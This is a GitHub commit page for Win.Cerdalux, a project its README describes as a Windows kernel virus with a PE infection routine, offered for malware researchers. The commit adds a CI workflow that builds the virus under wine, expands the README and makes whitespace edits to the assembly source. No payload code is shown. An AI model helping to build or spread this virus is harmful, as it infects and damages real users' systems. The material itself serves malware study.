Skip to content

Commit

Permalink
a mix of changes
Browse files Browse the repository at this point in the history
  • Loading branch information
therealdreg committed Jul 19, 2023
1 parent de1fc1a commit cf30add
Show file tree
Hide file tree
Showing 4 changed files with 85 additions and 27 deletions.
43 changes: 43 additions & 0 deletions .github/workflows/cerdalux.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
# This is a basic workflow to help you get started with Actions

# Dreg's note: this is the big craaap in the world xD

name: CI

# Controls when the workflow will run
on:
# Triggers the workflow on push or pull request events but only for the "main" branch
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]

# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:

# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# This workflow contains a single job called "build"
build:
# The type of runner that the job will run on
runs-on: ubuntu-latest

# Steps represent a sequence of tasks that will be executed as part of the job
steps:
# Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
- uses: actions/checkout@v3

- name: Error if exist tab char
run: rm -rf output && grep -rnIHF $'\t' --include=*.{asm,txt,md,rap} | cut -f-2 -d ":" | tee output && `[[ -f output && ! -s output ]] || exit 1`

- name: Error if exist trailing chars
run: rm -rf output && grep -ErnIH " +$" --include=*.{asm,txt,md,rap} | cut -f-2 -d ":" | tee output && `[[ -f output && ! -s output ]] || exit 1`

- name: Error if .asm files are not crlf ended
run: find . -name *.asm -exec sh -c 'echo $1; xxd -p $1; xxd -p $1 | tr -d "\n" | grep -P "(?<!0d)0a" && echo $1 && exit 1' _ {} \;

- name: wine
run: sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get -y install wine wine32:i386 && export WINEPREFIX=~/.wine && WINEARCH=win32 winecfg

- name: build cerdalux & run
run: git clone https://github.com/therealdreg/dregs-masm32-wine.git && cd dregs-masm32-wine && cp ../source/cerdalux.asm programs/cerdalux.asm && sed -i 's/\\masm32\\include/libs/g' programs/cerdalux.asm && sed -i 's/\\masm32\\macros/libs/g' programs/cerdalux.asm && sed -i 's/\\masm32\\lib/libs/g' programs/cerdalux.asm && ./masm32.sh cerdalux && ! grep -q -w -E -i ".*cerdalux.*such file or directory" logmasm32.log
44 changes: 37 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,16 +2,33 @@
<img width="125px" src="assets/logo.png" />
<h1>Win.Cerdalux</h1>
<br/>
<p><i>WinXPSP2.Cermalus on stereoids, supporting all 32 bits Windows version. Windows Kernel Virus</i></p>
<p><i>WinXPSP2.Cermalus on stereoids, supporting all 32 bits Windows version. Windows Kernel Virus stuff for noobs</i></p>
<p><i>based from WinXPSP2.Cermalus by Pluf/7A69ML https://github.com/therealdreg/WinXPSP2.Cermalus/</i></p>
</div>

Based from WinXPSP2.Cermalus by Pluf/7A69ML: [therealdreg/WinXPSP2.Cermalus](https://github.com/therealdreg/WinXPSP2.Cermalus/)
Are you an usermode malware reverser/researcher/developer wanting to get started with the windows kernel? Then this project is for you

# dev steps
[![CI](https://github.com/therealdreg/Win.Cerdalux/actions/workflows/cerdalux.yml/badge.svg)](https://github.com/therealdreg/Win.Cerdalux/actions/workflows/cerdalux.yml)

# FAQ

## What is Win.Cerdalux?

...

## How it works?

...

## What are the supported Windows versions?

...

# developer steps

- Clone this repo in C:\
- Download & install in C:\ **Masm32v11r** [/stuff/masm32v11r.zip](/stuff/masm32v11r.zip)
- Download & install in C:\ **RadASM-2.2.2.4-FullPackage.zip** [/stuff/RadASM-2.2.2.4-FullPackage.zip](/stuff/RadASM-2.2.2.4-FullPackage.zip)
- Download & install in C:\ **Masm32v11r** [/stuff/masm32v11r.zip](/stuff/masm32v11r.zip)
- Download & install in C:\ **RadASM-2.2.2.4-FullPackage.zip** [/stuff/RadASM-2.2.2.4-FullPackage.zip](/stuff/RadASM-2.2.2.4-FullPackage.zip)
- Add **C:\masm32\bin** to **%PATH%**
- Open **/source/cerdalux.rap** in Radasm2 IDE and Build All
- Done!
Expand All @@ -27,17 +44,30 @@ Based from WinXPSP2.Cermalus by Pluf/7A69ML: [therealdreg/WinXPSP2.Cermalus](htt
- [ ] dropper with .ico (new logo)
- [ ] CI/CD implementation for testing
- [ ] Write documentation
- [ ] FAQ
- [x] port to Masm32v11r
- [x] create Radasm project
- [x] create Radasm project
- [x] basic CI for wine https://github.com/therealdreg/dregs-masm32-wine

## Features

- [ ] Multi-core support: KeSetTargetProcessorDpc + KeInsertQueueDpc...
- [ ] Support newer Windows versions
- [x] Windows XP SP2
- [x] Windows XP SP2
- [ ] 64-bit support

# Credits

- Pluf/7A69ML original author WinXPSP2.Cermalus
- David Reguera Garcia aka Dreg

# Thx

- masm32 forum https://www.masm32.com/board/index.php
- https://www.masm32.com/
- RadASM2 repo by @mrfearless https://github.com/mrfearless/RadASM2
- 29a ezine https://www.exploit-db.com/ezines/kr5hou2zh4qtebqk.onion/29A/

# Variants

- https://github.com/therealdreg/WinXPSP2.Cermalus
15 changes: 0 additions & 15 deletions TODO.md

This file was deleted.

10 changes: 5 additions & 5 deletions source/cerdalux.asm
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
; based from WinXPSP2.Cermalus by Pluf/7A69ML
;
; Authors:
; - David Reguera Garcia aka Dreg dreg@fr33project.org https://www.fr33project.org
; - David Reguera Garcia aka Dreg dreg@fr33project.org https://www.fr33project.org
;

; masm32 (masm32v11r, MASM32 11 version) https://www.masm32.com/download.htm
Expand Down Expand Up @@ -483,13 +483,13 @@ driver_object struct ; size = 0A8h
DriverSize dd ? ; 10h
DriverSection dd ? ; 14h
DriverExtension dd ? ; 18h
DriverName unicode_string <> ; 1Ch
DriverName unicode_string <> ; 1Ch
HardwareDatabase dd ? ; 24h
FastIoDispatch dd ? ; 28h
DriverInit dd ? ; 2Ch
DriverStartIo dd ? ; 30h
DriverUnload dd ? ; 34h
MajorFunction dd (IRP_MJ_MAXIMUM_FUNCTION + 1) dup(?) ; 0038h
MajorFunction dd (IRP_MJ_MAXIMUM_FUNCTION + 1) dup(?) ; 0038h
driver_object ends
; object directory entry:
Expand Down Expand Up @@ -1833,7 +1833,7 @@ gen_crc32_end:
ring0_wdog_end:
; PE infecction routine:
;
;
; in:
; ebx = ptr ring0data
; ebp = delta offset
Expand Down Expand Up @@ -2422,4 +2422,4 @@ ring3_end:
drvcode_end:
drv_end:
end start
end start

0 comments on commit cf30add

Please sign in to comment.